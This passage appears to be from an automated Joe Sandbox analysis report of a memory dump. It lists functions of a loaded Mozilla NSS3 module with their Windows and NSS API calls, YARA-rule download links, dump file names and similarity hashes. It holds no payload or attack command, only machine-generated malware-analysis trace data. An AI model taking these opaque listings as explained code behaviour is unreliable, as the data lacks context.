Function 6C63FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C63FDFE), ref: 6C63FFAD

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C63FDFE), ref: 6C63FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64006F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction ID: 79e68347ddbe3d2b80ff4901abe74d68af5ad0ac8a495f7d8bef17966de0e5f4
Opcode Fuzzy Hash: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction Fuzzy Hash: F341DE71B002299BDB08DFA5E899AAE7775FF4A705F14803DD80693B00DB35A911CBA9

Function 6C6C3D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6C6C127F,?), ref: 6C6C3D89

Part of subcall function 6C6C06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C6C2E70,00000000), ref: 6C6C0701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6C6C3DD3

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 9c37fd1df5fa76ad3e9028550333caf832bc353a9e3674a27442d64bb8dc36bc
Instruction ID: ee94ca53370557226804ab87854e50582f44fe6818d494024b48c6ea6039a985
Opcode Fuzzy Hash: 9c37fd1df5fa76ad3e9028550333caf832bc353a9e3674a27442d64bb8dc36bc
Instruction Fuzzy Hash: 9B31FE75B0252496EB148619A840BEA73A4EB4632CF280237DB15C7FC1EB21F80187CF

Function 6C727DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C727ED8

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 7f0eadcb3e7eaf2cd610507a4b3348d7d9b8bc550013edd262e1bd617d8e30dc
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B831A6B1E001158FD704CF09CE9599AB7A6FF8831471A817ACC585BB12EB75EC45CBE1

Function 6C6DDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6DDBBD), ref: 6C6DDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6DDFEE

Part of subcall function 6C6786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678716
Part of subcall function 6C6786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678727
Part of subcall function 6C6786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C67873B
Part of subcall function 6C6786D0: PR_Unlock.NSS3(?), ref: 6C67876F
Part of subcall function 6C6786D0: PR_SetError.NSS3(00000000,00000000), ref: 6C678787

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6DDBBD), ref: 6C6DDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6DDBBD), ref: 6C6DE007

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction ID: 08c4237310f54556adf5257dc1d35a89a4244c83728e9675d584c8418cce20b1
Opcode Fuzzy Hash: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction Fuzzy Hash: 3831D7B1A0420157D711AA7ADD84A9B73B89F5530CF060135E909D7B52FB31E918C6FB

Function 6C6C2C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6C6C1289,?), ref: 6C6C2D72

Part of subcall function 6C6C3390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6C6C2CA7,E80C76FF,?,6C6C1289,?), ref: 6C6C33E9
Part of subcall function 6C6C3390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6C6C342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6C1289,?), ref: 6C6C2D61

Part of subcall function 6C6C0B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6C0B21
Part of subcall function 6C6C0B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6C0B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6C6C1289,?), ref: 6C6C2D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C6C1289,?), ref: 6C6C2DAF

Part of subcall function 6C67B8F0: PR_CallOnceWithArg.NSS3(6C7B2178,6C67BCF0,?), ref: 6C67B915
Part of subcall function 6C67B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6C67B933
Part of subcall function 6C67B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6C67B9C8
Part of subcall function 6C67B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C67B9E1

Part of subcall function 6C6C0A50: SECOID_GetAlgorithmTag_Util.NSS3(6C6C2A90,E8571076,?,6C6C2A7C,6C6C21F1,?,?,?,00000000,00000000,?,?,6C6C21DD,00000000), ref: 6C6C0A66

Part of subcall function 6C6C3310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6C6C2D1E,?,?,?,?,00000000,?,?,?,?,?,6C6C1289), ref: 6C6C3348

Part of subcall function 6C6C06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C6C2E70,00000000), ref: 6C6C0701

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: a194bdc2ad5bc530108f64ba09ab88197856ac448be755a6a2a0d8a7fc2316e1
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: B931CCB6B002016BDB009F64EC44B9A37A5EF5631DF140130ED159B791EB31F529C7AB

Function 6C656C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C656C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C656CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C656CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C778FE0), ref: 6C656CFE

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction ID: 5634ca65450e1953ecc60d883ca59a0d590e03f3b393b1a9f331f98c01907e5d
Opcode Fuzzy Hash: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction Fuzzy Hash: 6C318CB1A002169FEB08CF65C891ABFBBF5EF89348B60452DD905E7710EB31D915CBA4

Function 6C764F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C764F5D
free.MOZGLUE(?), ref: 6C764F74
free.MOZGLUE(?), ref: 6C764F82
GetLastError.KERNEL32 ref: 6C764F90

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction ID: bd66aa84d210bcda55b9139395168e0b33b97f101d16059c4303d1dafbc349a2
Opcode Fuzzy Hash: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction Fuzzy Hash: C3312B75A002095FEB01DFAADD55BDFB3B8FF45358F080235EC15A7B81DB35A9048691

Function 6C6ADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADDF4

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE17

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C6ADE80

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 0c780908c466536dd9534d5c588b753a4bcc7aa869dc61ef339ee04ba1019dcb
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 7231B6B19017429BE700CF56D880692F7E4FFA5318B24C229DC1D87B41E771F9A6CB94

Function 6C69FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F
PR_Unlock.NSS3(78831D74), ref: 6C69FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C69FED6

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction ID: 83c8d128666619684e21d0b890191e3c085b78aa86dbf18d7be79b70081536c4
Opcode Fuzzy Hash: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction Fuzzy Hash: 22212331A00626BBDB109F65E844BAA73B4FF05358F1A0134ED04A7E42E731E965CBDA

Function 6C6A3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FFE
PR_SetError.NSS3 ref: 6C6A401A

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction ID: ac442ebf1e6d5198cc2d2af51020ab2fa5031f457a3815c022b71a7e7adbede8
Opcode Fuzzy Hash: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction Fuzzy Hash: 673180705047048FD700AFAAD5846AEBBF0FF89354F11592ED98987B00EB70E885CB9A

Function 6C694FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695064

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction ID: 89d850ee75987e8177842cf50450b4f4b27b73f9720fba99185998acb81b7894
Opcode Fuzzy Hash: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction Fuzzy Hash: DB3127B0A05606DFDB00EF68C484A6ABBF4FF09345F118669E859D7700E731E890CB95

Function 6C6D0C00 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(?,?,00000004), ref: 6C6D0C43

Part of subcall function 6C67DEF0: TlsGetValue.KERNEL32 ref: 6C67DF37
Part of subcall function 6C67DEF0: EnterCriticalSection.KERNEL32(?), ref: 6C67DF4B
Part of subcall function 6C67DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6C67E02B
Part of subcall function 6C67DEF0: PR_Unlock.NSS3(?), ref: 6C67E07E

PK11_DigestOp.NSS3(?,?,00000008), ref: 6C6D0C85
PK11_DigestOp.NSS3(?,?,?), ref: 6C6D0C9F
PR_SetError.NSS3(FFFFD07F,00000000), ref: 6C6D0CB4

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DigestK11_$Error$CriticalEnterSectionUnlockValue
String ID:
API String ID: 3186484790-0
Opcode ID: 2301326e11ad5aa32fbe4a1f9452d838df301873c6a5631696e1aa9fa5c20b9e
Instruction ID: e0272d254e9dad0fafc172a1ff95bffd8e273b10d9a3baca1311e36eb2247f12
Opcode Fuzzy Hash: 2301326e11ad5aa32fbe4a1f9452d838df301873c6a5631696e1aa9fa5c20b9e
Instruction Fuzzy Hash: A121FB715042869FC701CB68AC05F9BBBA4AF65304F0E85A5E8445F752E731D928C7FA

Function 6C6C2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C2E08

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C6C2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6C2E95

Part of subcall function 6C6B1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B1228
